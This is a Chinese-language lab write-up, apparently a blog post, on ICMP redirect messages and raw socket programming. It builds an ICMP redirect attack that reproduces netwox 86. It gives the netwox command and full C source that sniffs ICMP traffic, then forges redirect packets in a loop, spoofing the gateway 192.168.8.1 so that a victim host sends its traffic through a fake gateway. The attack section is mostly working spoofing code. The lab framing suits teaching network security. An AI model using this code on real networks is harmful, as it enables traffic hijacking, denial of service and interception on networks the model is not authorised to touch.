【实现netwox 86的功能】使用raw socket实现ic
一、知识背景
1.1 icmp重定向报文
ICMP是控制协议,主要是因为IP协议有可能出现报文发送过程中的错误。譬如目标不可达,TTL过期,需要机制通知发送方错误原因。ICMP使得路由器和主机可以向发送方提供错误或者控制信息。
ICMP报文可划分为两大类:差错报告报文(error-reporting messages)和查询报文(query messages)。差错报告报文报告了路由器或主机(终点)在处理IP数据报时可能遇到的问题。查询报文总是成双成对地出现,它帮助主机或网络管理员从某个路由器或对方主机那里获取特定的信息。
icmp报文可以看到,改变路由(路由重定向)是属于差错报告报文的一种,有多种不同的ICMP报文,每种报文都有自己的格式,但是所有的ICMP报文都有三个共同的字段(三个字段共占四个字节):
- 类型:占一字节,标识ICMP报文的类型,目前已定义了14种,从类型值来看ICMP报文可以分为两大类。第一类是取值为1~127的差错报文,第2类是取值128以上的信息报文。
- 代码:占一字节,标识对应ICMP报文的代码。它与类型字段一起共同标识了ICMP报文的详细类型。
-
校验和:这是对包括ICMP报文数据部分在内的整个ICMP数据报的校验和,以检验报文在传输过程中是否出现了差错。其计算方法与在我们介绍IP报头中的校验和计算方法是一样的。
icmp报文一般的格式
虽然改变路由报文被认为是一种差错报告报文,但它与其他差错报文不同口在这种情况下路由器不会丢弃数据报,而是将数据报发送给合适的路由器。比如下面这种情况:
图片来源:https://zhuanlan.zhihu.com/p/58662573
主机Host(10.0.0.100)的默认网关为G1(10.0.0.1),他要与Network X通信,G1检查自己的路由表,发现要到达网络X,需要经过G2(10.0.0.2)。G1会将数据包转发给G2,同时发现数据包的源地址Host和G2在同一个网段上,因此G1会知道,Host应该将到网络X的数据包直接发给G2。这样的话,Host的路由距离会更短。
所以,G1并不会丢掉Host报文,并且继续转发给G2,同时又给Host发送一个重定向报文,告诉它下次如果再与Network X通信,直接通过G2就好啦。具体的icmp报文格式如下:
icmp重定向报文格式- 代码0:对特定网络路由的改变
- 代码1:对特定主机路由的改变
- 代码2:对于指定服务类型的对特定网络路由的改变
- 代码3:对于指定服务类型的对特定主机路由的改变
在接下来的实验中,我们将用到代码3:对特定主机的路由改变。
1.2 raw socket编程
要想实现对某个主机发送icmp重定向报文,首先要做的是就是嗅探报文(sniffer),由上面icmp重定向报文格式可以看出,icmp重定向报文还需要携带之前收到的IP数据报的一部分(IP首部20字节及数据报数据的前八个字节)。嗅探的方式可以采用pcap(tcpdump和wireshark采用的方式)或者raw socket。嗅探完成之后可以使用raw socket自己构造IP数据包然后发送出去。下面的实验中,嗅探和构造数据包都是采用的raw socket。
大家都知道socket编程,其中分为四类,分别是stream(使用TCP)、datagram(UDP)、row(原始套接字)和顺序数据包(Sequenced Packet)套接字。前两者使用的较多,而row socket可以让我们访问底层协议。
int socket(int domain, int type, int protocol); //创建raw socket
创建raw socket的方式如上所示,其中:
-
domain:面向的层次,domain(family)套接字族可以是
AF_INET
或AF_PACKET
;简单来说,使用AF_INET
,是面向IP层的原始套接字,可以获得网络层之上的数据包;使用AF_PACKET
,是面向链路层的套接字,可以获得数据链路层之上的数据包。 -
type:socket类型,我们使用的是
SOCK_RAW
。除此之外还有stream(TCP)、Datagram(UDP)和Sequenced Packet(顺序数据包) -
protocol:如果想接收所有分组,可以使用
ETH_P_ALL
,如果想接收IP分组,可以使用ETH_P_IP
;如果使用的是INET类型,则是IPPROTO_TCP
、IPPROTO_UDP
、IPPROTO_ICMP
和IPPROTO_RAW
。下面实验中只需要捕获icmp分组就可以,所以使用的是IPPROTO_ICMP
。
注意:domain也可以是PF_INET或PF_PACKET,在windows中AF_INET与PF_INET完全一样,出现AF_INET和PF_INET是历史原因。在网络设计之初,AF = Address Family,PF = Protocol Family,所以最好在指示地址的时候使用AF,在指示协议的时候使用PF。
domain的参数我们使用的是AF_INET
,如果没有开启IP_HDRINCL
选项,那么内核会帮忙处理IP头部。如果设置了IP_HDRINCL
选项,那么用户需要自己生成IP头部的数据,其中IP首部中的标识字段和校验和字段总是内核自己维护。我们需要自己构造IP报文的首部,所以用以下代码设置IP_HDRINCL
选项:
// 开启IP_HDRINCL选项,手动填充IP头
if(setsockopt(rawsock,SOL_IP,IP_HDRINCL,&on,sizeof(int)) < 0){
printf("set socket option error!\n");
}
在发送报文时,使用IPPROTO_RAW
来创建socket,需要注意的是使用IPPROTO_RAW
新建的套接字只适合发送,不能接收数据包。
if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
printf("create sockfd error\n");
exit(-1);
}
二、实现icmp重定向攻击
2.1 使用netwox的做法
netwox是一款非常强大和易用的开源工具包,可以创造任意的TCP/UDP/IP数据报文。Netwox工具包中包含了超过200个不同功能的网络报文生成工具,每个工具都拥有一个特定的编号。适用群体为网络管理员和网络黑客。
netwox 86的作用是进行icmp redirect,但是奇怪的是,使用raw socket攻击怎么也达不到它那么好的效果。一旦使用netwox 86 -g -i,那么被攻击的那台机器便从此再也不能上网;但是自己写的程序只能对特定的IP有用,也就是伪造的原ip包头的目标地址。
我们要做的事情其实就是手动实现netwox 86所实现的功能,所以我们先看一下使用netwox怎么来实现。
主机 | ip |
---|---|
攻击者主机 | 192.168.8.104 |
被攻击者主机 | 192.168.8.103 |
默认网关 | 192.168.8.1 |
冒充的网关 | 192.168.8.2 |
下面这条指令由192.168.8.104 执行,这个命令代表向同一个网段广播ICMP重定向消息,把原本需要经过默认网关192.168.8.1转发的报文都由冒充的网关192.168.8.2 来转发,而192.168.8.2并不存在,再ping的时候会出现Redirect Host(Net nexthop:192.168.8.2)。
sudo netwox 86 -g "192.168.8.2" --src-ip 192.168.8.1
/*
"192.168.8.2" : fake Gateway
"192.168.8.1" : real Gateway
*/
104主机发动icmp重定向攻击
103主机被重定向
疑惑点:
按理说103主机被重定向后,ping的消息应该是100% packet loss,但是从上面的图也可以发现,还是都receive了。使用wireshark抓包可以发现,会有很多Redirect for host报文,但是还是能够ping通的。
可能是我的主机配置有些问题,目前还没有找到解决方法。下面使用raw socket也只能实现和netwox相同的效果。
2.2 使用raw socket
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<arpa/inet.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/ip_icmp.h>
#include<netinet/tcp.h>
#include<netinet/udp.h>
/* ============================== sockaddr_in(/usr/include/netinet/in.h)=================================*/
// struct sockaddr_in
// {
// __SOCKADDR_COMMON (sin_);
// in_port_t sin_port; /* Port number. */
// struct in_addr sin_addr; /* Internet address. */
// /* Pad to size of `struct sockaddr'. */
// unsigned char sin_zero[sizeof (struct sockaddr) -
// __SOCKADDR_COMMON_SIZE -
// sizeof (in_port_t) -
// sizeof (struct in_addr)];
// };
/* ============================== 使用os自带的ip结构体 (/usr/include/netinet/ip.h)=================================*/
// struct ip
// {
// #if __BYTE_ORDER == __LITTLE_ENDIAN
// unsigned int ip_hl:4; /* header length */
// unsigned int ip_v:4; /* version */
// #endif
// #if __BYTE_ORDER == __BIG_ENDIAN
// unsigned int ip_v:4; /* version */
// unsigned int ip_hl:4; /* header length */
// #endif
// u_int8_t ip_tos; /* type of service */
// u_short ip_len; /* total length */
// u_short ip_id; /* identification */
// u_short ip_off; /* fragment offset field */
// #define IP_RF 0x8000 /* reserved fragment flag */
// #define IP_DF 0x4000 /* dont fragment flag */
// #define IP_MF 0x2000 /* more fragments flag */
// #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
// u_int8_t ip_ttl; /* time to live */
// u_int8_t ip_p; /* protocol */
// u_short ip_sum; /* checksum */
// struct in_addr ip_src, ip_dst; /* source and dest address */
// };
/* ============================== 使用os自带的icmp结构体(/usr/include/netinet/ip_icmp.h) =================================*/
// struct icmp
// {
// u_int8_t icmp_type; /* type of message, see below */
// u_int8_t icmp_code; /* type sub code */
// u_int16_t icmp_cksum; /* ones complement checksum of struct */
// union
// {
// u_char ih_pptr; /* ICMP_PARAMPROB */
// struct in_addr ih_gwaddr; /* gateway address */
// struct ih_idseq /* echo datagram */
// {
// u_int16_t icd_id;
// u_int16_t icd_seq;
// } ih_idseq;
// u_int32_t ih_void;
// /* ICMP_UNREACH_NEEDFRAG -- Path MTU Discovery (RFC1191) */
// struct ih_pmtu
// {
// u_int16_t ipm_void;
// u_int16_t ipm_nextmtu;
// } ih_pmtu;
// struct ih_rtradv
// {
// u_int8_t irt_num_addrs;
// u_int8_t irt_wpa;
// u_int16_t irt_lifetime;
// } ih_rtradv;
// } icmp_hun;
#define BUFFSIZE 1024
struct sockaddr_in target;
struct sockaddr_in source;
/* ip集合 */
const unsigned char *my_IP_src = "192.168.8.1"; // 原网关
const unsigned char *my_IP_dst = "192.168.8.103"; // 攻击对象IP
const unsigned char *fakeGatway = "192.168.8.2"; // 攻击者IP
// 计算校验和
unsigned short in_cksum(unsigned short *addr, int len){
int sum=0;
unsigned short res=0;
while( len > 1) {
sum += *addr++;
len -=2;
// printf("sum is %x.\n",sum);
}
if( len == 1) {
*((unsigned char *)(&res))=*((unsigned char *)addr);
sum += res;
}
sum = (sum >>16) + (sum & 0xffff);
sum += (sum >>16) ;
res = ~sum;
return res;
}
int main(){
/* receive var */
int rawsock;
char rec_buff[BUFFSIZE];
int rec_num;
int count = 0;
/* send var */
char send_buff[56]={0};
int sockfd;
const int on = 1;
/* =================== 嗅探部分 ========================= */
rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
// rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
// rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_UDP);
// rawsock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if(rawsock < 0){
printf("raw socket error!\n");
exit(1);
}
// 开启IP_HDRINCL选项,手动填充IP头
if(setsockopt(rawsock,SOL_IP,IP_HDRINCL,&on,sizeof(int)) < 0){
printf("set socket option error!\n");
}
/* =================== 构造icmp并发送 ========================= */
// 创建raw socket
if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
printf("create sockfd error\n");
exit(-1);
}
while(1){
// receive number, receive data in rec_buf
rec_num = recvfrom(rawsock,rec_buff,BUFFSIZE,0,NULL,NULL);
if(rec_num < 0){
printf("receive error!\n");
exit(1);
}
/*
* 重定向报文:IP(20) + ICMP报文(8+28==>(icmp头8+原ip28)) = 56
* 原ip28:将收到的需要进行差错报告IP数据报的首部和数据字段的前8个字节提取出来,作为ICMP报文的数据字段
* 重定向IP头: task-1
* ICMP报文头: task-2
* 原IP: task-3
*/
// rec_buff强制转换为ip类型结构体,把ip类型的结构体指针指向rec_buff
struct ip *ip = (struct ip*)rec_buff;
int head_length = ip->ip_hl * 4;
// task-3: 先把收到的ip报文的前28个字节赋值给sendbuf的后28-56个字节
for(int i = 0; i < head_length + 8; i++){
send_buff[28 + i] = rec_buff[i];
}
// 构造icmp重定向报文的源ip地址
if(inet_aton(my_IP_src, &source.sin_addr) == 0){
printf("create source_addr error");
exit(1);
}
// 构造icmp重定向报文的目的地址
if(inet_aton(my_IP_dst, &target.sin_addr) == 0){
printf("create destination_addr error");
exit(1);
}
// task-1: 修改rec_buff的ip报文段的值
ip->ip_src = source.sin_addr;
ip->ip_dst = target.sin_addr;
ip->ip_len = 56;
ip->ip_id = IP_DF;
ip->ip_off = 0;
ip->ip_ttl = 64;
ip->ip_p = 1;
// 把前20个字节写入sendbuf
for(int i = 0; i < 20; i++){
send_buff[i] = rec_buff[i];
}
// task-2: 把send_buff的20-28字段的icmp报文首部填好(直接使用sendbuf填值)
struct icmp *icmp = (struct icmp *)(send_buff + 20);
icmp->icmp_type = ICMP_REDIRECT;
icmp->icmp_code = ICMP_REDIR_HOST;
icmp->icmp_cksum = 0;
icmp->icmp_cksum = in_cksum((unsigned short *)icmp,36);
// 构造icmp重定向报文的fake gatway
if(inet_aton(fakeGatway, &icmp->icmp_hun.ih_gwaddr) == 0){
printf("create destination_addr error");
exit(1);
}
count += 1;
// 打印的时候用
printf("重定向报文的源地址: %s\n", my_IP_src);
printf("重定向报文的目的地址: %s\n", my_IP_dst);
printf("重定向报文的假网关: %s\n", fakeGatway);
// send
sendto(sockfd, &send_buff, 56, 0, (struct sockaddr *)&target, sizeof(target));
printf("====================== already sended %d message ===========================\n", count);
}
}
实验完整代码如上所示,代码并没有自己定义ip(/usr/include/netinet/ip.h)和icmp(/usr/include/netinet/ip_icmp.h) 结构体,而是使用的os中已经定义好的。
上面代码都通过注释来解释了作用,下面列出来几个比较重要的,需要注意点:
- 自定义的重定向报文共56个字节:自定义IP首部(20) + ICMP报文(8字节的icmp首部+原始IP的28个字节)
- task-1: 修改ip报文段的值,注意重定向报文时源网关发的
ip->ip_src = source.sin_addr; // 源ip:192.168.8.1 ip->ip_dst = target.sin_addr; // 目的ip:192.168.8.103 ip->ip_len = 56; // 长度56字节 ip->ip_id = IP_DF; //默认值即可 ip->ip_off = 0; //偏移量为0 ip->ip_ttl = 64; ip->ip_p = 1;
- task-2: 填充icmp报文首部
struct icmp *icmp = (struct icmp *)(send_buff + 20);
就是跳过task-1构造好的ip的首部部分,icmp->icmp_cksum = in_cksum((unsigned short *)icmp,36);
其中36也是因为icmp校验只需要校验icmp首部8个字节+源ip的28个字节。- task-3: 把嗅探到的源ip的前28个字节直接赋值给sendbuf的后28-56个字节
实验结果如下:
103 ping 104 104运行程序并发送了重定向报文使用wireshark获取到的报文 重定向报文详细信息
参考文章: